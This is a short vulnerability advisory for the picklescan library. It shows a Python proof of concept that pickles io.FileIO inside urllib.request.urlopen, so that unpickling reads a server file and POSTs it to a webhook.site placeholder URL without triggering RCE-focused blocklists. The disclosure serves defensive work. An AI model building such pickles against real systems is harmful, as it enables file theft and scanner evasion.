picklescan has Arbitrary file read using `io.FileIO`
상세
### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
1. io.FileIO: Opens local files without using builtins.open.
2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
### PoC
```python import pickle, io, urllib.request
class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ```

### Impact
- Arbitrary file read
Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
